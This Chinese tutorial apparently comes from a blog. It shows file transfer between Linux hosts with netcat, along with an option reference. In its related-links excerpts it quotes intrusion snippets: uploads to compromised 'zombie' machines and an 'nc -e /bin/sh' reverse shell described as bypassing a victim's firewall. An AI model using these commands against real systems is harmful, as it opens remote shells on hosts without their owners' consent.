`

linux nc 命令传输文件

阅读更多

nc 到底干嘛用的我不多描述,今天主要讲下用nc 传输文件。由于公司的设备sudo 后没有sshscp 等远程接入命令,或host.deny 里面设置了sshdeny ,不管怎样的原因。我今天跨过大家常用的scp, 来说明下一个更有用的轻量级工具,nc 的另一个强大的功--- 文件传输。

 

 

 

范例如下:

 

目的主机监听

 

 
nc -l 监听端口[ 未使用端口] > 要接收的文件名

nc -l 4444 > cache.tar.gz

 

 

 

 

源主机发起请求

 
nc 目的主机ip 目的端口 < 要发送的文件

nc 192.168.0.85 4444 < /root/cache.tar.gz

  

 

 

netstat   如下

[root@localhost jiangbao]# netstat -tpln

tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 18166/nc

  

 

英文描述如下

 

DATA TRANSFER



Start by using nc to listen on a specific port, with output captured into a file:

$ nc -l 1234 > filename.out
Using a second machine, connect to the listening nc process, feeding it the file which is to be transferred:

$ nc host.example.com 1234 < filename.in

  

 

另附nc 的其他选项说明:

 

语  法: nc [-hlnruz][-g< 网关...>][-G< 指向器数目>][-i< 延迟秒数>][-o< 输出文件>][-p< 通信端口>][-s< 来源位址>][-v...][-w< 超时秒数>][ 主机名称][ 通信端口...]

补充说明: 执行本指令可设置路由器的相关参数。

参  数:
  -g<
网关>    设置路由器跃程通信网关,最丢哦可设置8 个。
  -G<
指向器数目>    设置来源路由指向器,其数值为4 的倍数。
  -h   
在线帮助。
  -i<
延迟秒数>    设置时间间隔,以便传送信息及扫描通信端口。
  -l   
使用监听模式,管控传入的资料。
  -n   
直接使用IP 地址,而不通过域名
服务器
  -p<
通信端口>    设置本地主机使用的通信端口。
  -r   
乱数指定本地与远端主机的通信端口。
  -s<
来源位址>    设置本地主机送出数据包的IP 地址。
  -u   
使用UDP 传输
协议
  -v   
显示指令执行过程。
  -w<
超时秒数>    设置等待连线的时间。
  -z   
使用0 输入/ 输出模式,只在扫描通信端口时使用

分享到:
评论

相关推荐

    centos7.9 nc rpm包及依赖

    linux可以使用nc命令来测试网络端口是否正常,类似于telnet命令,但也可以用nc命令来监听本地端口,支持TCP、UDP协议,当我们测试NTP服务网络策略是否正常时,可以使用到nc命令测试UDP 123端口。 使用案例如下: 1...

    cmd操作命令和linux命令大全收集

    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) route print 显示出IP路由,将主要显示网络地址Network addres,子网...

    NC原版与VC60版本

    上传命令文件到肉鸡 nc -vv -l -p port &gt; pathfile.txt /*victim machine*/ 需要Ctrl+C退出 nc -d victim_ip port *attacker machine*/ 可以shell执行 //这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell...

    Linux命令大全(CHM格式离线版)

    文件传输 bye ftp ftpcount ftpshut ftpwho ncftp tftp uucico uucp uupick uuto 备份压缩 ar bunzip2 bzip2 bzip2recover compress cpio dump gunzip gzexe gzip lha restore tar unarj unzip zip zipinfo 文件管理...

    Linux命令大全完整版

    6.linux文件传输命令 115 bye 115 ftp(file transfer protocol) 115 ftpcount 115 ftpshut(ftp shutdown) 115 ftpwho 116 ncftp(nc file transfer protocol) 116 tftp(trivial file transfer protocol) 116...

    Linux命令搜索工具linux-command.zip

    文件传输 bye、ftp、ftpcount、ftpshut、ftpwho、ncftp、tftp、uucico、uucp、uupick、uuto 备份压缩 ar、bunzip2、bzip2、bzip2recover、compress、cpio、dump、gunzip、gzexe、gzip、lha、restore、tar...

    Linux ncftp命令用法详解

    Linux ncftp命令用于传输文件。 FTP让用户得以下载存放于服务器主机的文件,也能将文件上传到远端主机放置。 NcFTP是文字模式FTP程序的佼佼者,它具备多样特色, 包括显示传输速率,下载进度,自动续传,标住书签,...

    NC源码和程序附上目前最详细的使用手册和使用技巧

    上传命令文件到肉鸡 nc -vv -l -p port &gt; pathfile.txt /*victim machine*/ 需要Ctrl+C退出 nc -d victim_ip port *attacker machine*/ 可以shell执行 //这样比较好.我们登陆终端.入侵其他的肉鸡.可以...

    Linux命令大全

    文件传输 bye ftp ftpcount ftpshut ftpwho ncftp tftp uucico uucp uupick uuto 备份压缩 ar bunzip2 bzip2 bzip2recover compress cpio dump gunzip gzexe gzip lha restore tar unarj unzip zip zipinfo 文件管理...

    netcat 瑞士军刀 linux windows netcat 瑞士军刀 linux windows

    victim machine //上传命令文件到肉鸡  nc -vv -l -p port &gt; path\file.txt /*victim machine*/ 需要Ctrl+C退出  nc -d victim_ip port *attacker machine*/ 可以shell执行  //这样比较好.我们登陆终端....

    网络军刀 nc 下载

    nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 本机上用:nc -d -l -p 本机端口 要传送的文件路径及名称 在对方主机上用:nc -vv 本机IP 本机端口 &gt; 存放文件的路径及名称 传送文件...

    ncftp命令 传输文件

    ncftp命令是文字模式FTP程序中的佼佼者,它具备多样特色, 包括显示传输速率,下载进度,自动续传,标住书签,可通过防火墙和代理服务器等。 当不指定用户名时,ncftp 命令会自动尝试使用匿名账户anonymous 去连接...

    Linux指令一周通 (技术图书大系).azw3

    1.61 ncftpput指令:上传文件 1.62 od指令:输出文件内容 1.63 paste指令:合并文件的列 1.64 patch指令:修补文件 1.65 rcp指令:远程复制文件或目录 1.66 rhmask指令:产生加密文件 1.67 rm指令:删除文件或目录 ...

    Linux下rsync远程数据同步命令的详细介绍

    rsync命令是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。rsync使用所谓的“rsync算法”来使本地和远程两个主机之间的文件达到同步,这个算法只传送两个文件的不同部分,而不是每次都整份传送,...

    NcPutter:与Nc.exe一起发送文件

    NCPutter.exe,用来再只有bash反弹shell的w情况下上传文件至目标主机,需要与nc.exe配合使用. 用法: 1)首先将待发送的文件base64编码,推荐使用windows下自带的certutil.exe工具,例如我要上传至目标linux的文件为...

    Linux高性能服务器编程

    16.2.2 procsysnet目录下的部分文件 16.3 gdb调试 16.3.1 用gdb调试多进程程序 16.3.2 用gdb调试多线程程序 16.4 压力测试 第17章 系统监测工具 17.1 tcpdump 17.2 lsof 17.3 nc 17.4 strace 17.5 ...

    Kali使用手册.docx

    1 Linux的常用命令 8 1.1 系统 8 1.1.1 内核和系统信息 8 1.1.2 硬件信息 8 1.1.3 加载状态和消息 9 1.1.4 用户 9 1.1.5 限制 10 1.1.6 运行级别 10 1.1.7 重设root密码 11 1.1.8 内核模块 11 1.1.9 编译...

    Linux常用网络工具:批量主机服务扫描之netcat

     一般不建议在生产环境安装nc,因为nc除了可以批量主机服务扫描外,还支持端口代理、文件传输,容易造成安全隐患。  netcat之批量主机服务扫描  netcat在扫描时常用的参数:  -w 设置超时时间  -z 输入...

    netcat-win32-1.12.zip

    在WINDOWS上,运行nc命令 NC 全名 Netcat (网络刀),作者是 Hobbit && ChrisWysopal。因其功能十分强大,体积小巧而出名,又被大家称为“瑞士军刀”。nc - TCP/IP swiss army knife nc 常用于溢出、反向链接、上传...

    在Windows中配置Rsync同步文件的方法

    第一次同步时 rsync 会复制全部内容,下次只传输修改过的文件部分。传输数据过程中可以实行压缩及解压缩操作,减少带宽流量。支持scp、ssh及直接socket方式连接,支持匿名传输。支持Linux,Window平台。写本文的时候,...

Global site tag (gtag.js) - Google Analytics